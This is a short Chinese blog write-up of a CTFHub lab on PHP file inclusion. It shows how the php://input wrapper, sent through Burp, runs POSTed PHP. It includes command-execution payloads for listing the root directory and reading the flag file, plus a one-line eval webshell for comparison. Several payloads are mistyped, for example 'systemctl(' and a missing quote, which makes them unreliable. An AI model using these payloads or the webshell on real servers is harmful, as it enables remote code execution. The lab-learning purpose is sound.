RCE3-文件包含/php://input的伪协议(使用条件+通过burp抓包,添加<?php system("ls /);?>等执行)

一.题目链接:

https://www.ctfhub.com/#/skilltree

二.基础知识

2.1 php://input

  • 概念:可以访问请求的原始数据流,将post请求中的数据作为php代码执行,这也是为什么选择burp抓包后修改post参数,而不是hackbar
  • 利用条件:需要将allow_url_foperallow_url_include都开启

2.2 php://filter

  • 概念
  • 二者区别
      1.php://filter主要用于编码/过滤文件内容,常见使用场景为绕过文件读取限制,泄露敏感文件
      2.php://filter主要通过url或者hackbar进行利用
      3.php://input主要用于执行代码,常见场景为RCE
      4.php://input主要通过burp在post参数进行添加php执行代码
  • 选择依据
      需要RCE --》 php://input
      需要读文件 --》 php://filter

2.3 <?php system("ls /);?>

  • 命令详解
      1. -- 这是php的开放和关闭标签,表示其中的内容是php代码
      2.system() -- 这是php内置函数,用于执行外部程序/系统命令
  • 和一句话木马的区别:一句话:<?php eval($POST['cmd']);>
      1.执行方式的区别:php代码直接执行系统命令,而一句话木马通过接收参数并执行任意的php代码
      2.交互性php代码无交互性,只能执行预设命令,而一句话木马高度交互,可动态执行攻击者发送的任何命令
      3.典型用途:php代码执行特定任务,而一句话木马通用于远程控制

三.开始解题

0.通过上面的基础知识,我们知道,想要使用php:input,就必须要开启allow_url_fopen和allow_url_include,我们通过题目给的连接,发现两个设置均已开启

1.通过burp抓包,将恶意代码插入包内,可以得到有效文件

<?php systemctl("ls /");?>



2.抓取flag文件

<?php systemctl("cat /flag_8047")?>


posted @ 2025-04-18 20:52  sun010  阅读(136)  评论(0)    收藏  举报